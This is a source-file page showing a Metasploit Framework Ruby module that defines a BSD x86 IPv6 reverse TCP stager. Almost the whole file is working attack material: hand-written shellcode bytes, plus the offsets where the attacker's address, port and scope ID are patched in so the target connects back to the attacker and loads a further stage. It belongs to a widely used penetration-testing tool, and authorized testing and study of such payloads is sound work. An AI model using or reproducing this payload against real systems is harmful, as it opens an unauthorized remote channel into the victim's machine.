PageRenderTime 36ms CodeModel.GetById 13ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb

https://bitbucket.org/technopunk2099/metasploit-framework
Ruby | 61 lines | 38 code | 9 blank | 14 comment | 1 complexity | 07161933adeab9c8b1dded55fa4e790b MD5 | raw file
Possible License(s): BSD-3-Clause, Apache-2.0, LGPL-2.1, GPL-2.0, MIT
  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # web site for more information on licensing and terms of use.
  5. # http://metasploit.com/
  6. ##
  7. require 'msf/core'
  8. require 'msf/core/handler/reverse_tcp'
  9. ###
  10. #
  11. # ReverseTcp
  12. # ----------
  13. #
  14. # BSD reverse TCP stager.
  15. #
  16. ###
  17. module Metasploit3
  18. include Msf::Payload::Stager
  19. def self.handler_type_alias
  20. "reverse_ipv6_tcp"
  21. end
  22. def initialize(info = {})
  23. super(merge_info(info,
  24. 'Name' => 'Reverse TCP Stager (IPv6)',
  25. 'Description' => 'Connect back to the attacker over IPv6',
  26. 'Author' => ['skape', 'vlad902', 'hdm'],
  27. 'License' => MSF_LICENSE,
  28. 'Platform' => 'bsd',
  29. 'Arch' => ARCH_X86,
  30. 'Handler' => Msf::Handler::ReverseTcp,
  31. 'Stager' =>
  32. {
  33. 'Offsets' =>
  34. {
  35. 'LHOST' => [ 42, 'ADDR6' ],
  36. 'LPORT' => [ 36, 'n' ],
  37. 'SCOPEID' => [ 58, 'V' ]
  38. },
  39. 'Payload' =>
  40. "\x31\xc0\x50\x40\x50\x6a\x1c\x6a\x61\x58\x50\xcd\x80\xeb\x0e\x59" +
  41. "\x6a\x1c\x51\x50\x97\x6a\x62\x58\x50\xcd\x80\xeb\x21\xe8\xed\xff" +
  42. "\xff\xff\x1c\x1c\xbf\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
  43. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x6a\x10" +
  44. "\x5a\xc1\xe2\x08\x29\xd4\x89\xe1\x52\x51\x57\x51\xb0\x03\xcd\x80" +
  45. "\xc3"
  46. }
  47. ))
  48. register_options([
  49. OptInt.new('SCOPEID', [false, "IPv6 scope ID, for link-local addresses", 0])
  50. ])
  51. end
  52. end